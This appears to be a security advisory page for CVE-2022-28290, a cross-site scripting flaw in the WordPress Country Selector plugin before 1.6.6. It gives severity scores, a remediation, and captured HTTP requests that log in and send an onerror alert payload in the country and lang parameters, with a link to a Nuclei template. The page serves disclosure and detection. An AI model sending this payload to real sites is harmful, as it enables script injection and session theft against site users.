| Title | WordPress Country Selector <1.6.6 - Cross-Site Scripting |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update WordPress Country Selector plugin to version 1.6.6 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01901 |
| CVE ID | CVE-2022-28290 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wordpress-country-selector wpscan wp wordpress wp-plugin xss welaunch vuln |
WordPress Country Selector plugin prior to 1.6.6 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the country and lang parameters before outputting them back in the response. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=PNtNjA&pwd=SzGUUj&wp-submit=Log+In&testcookie=1
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Length: 148
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
country=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-28290.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-28290.pcap
N/AN/A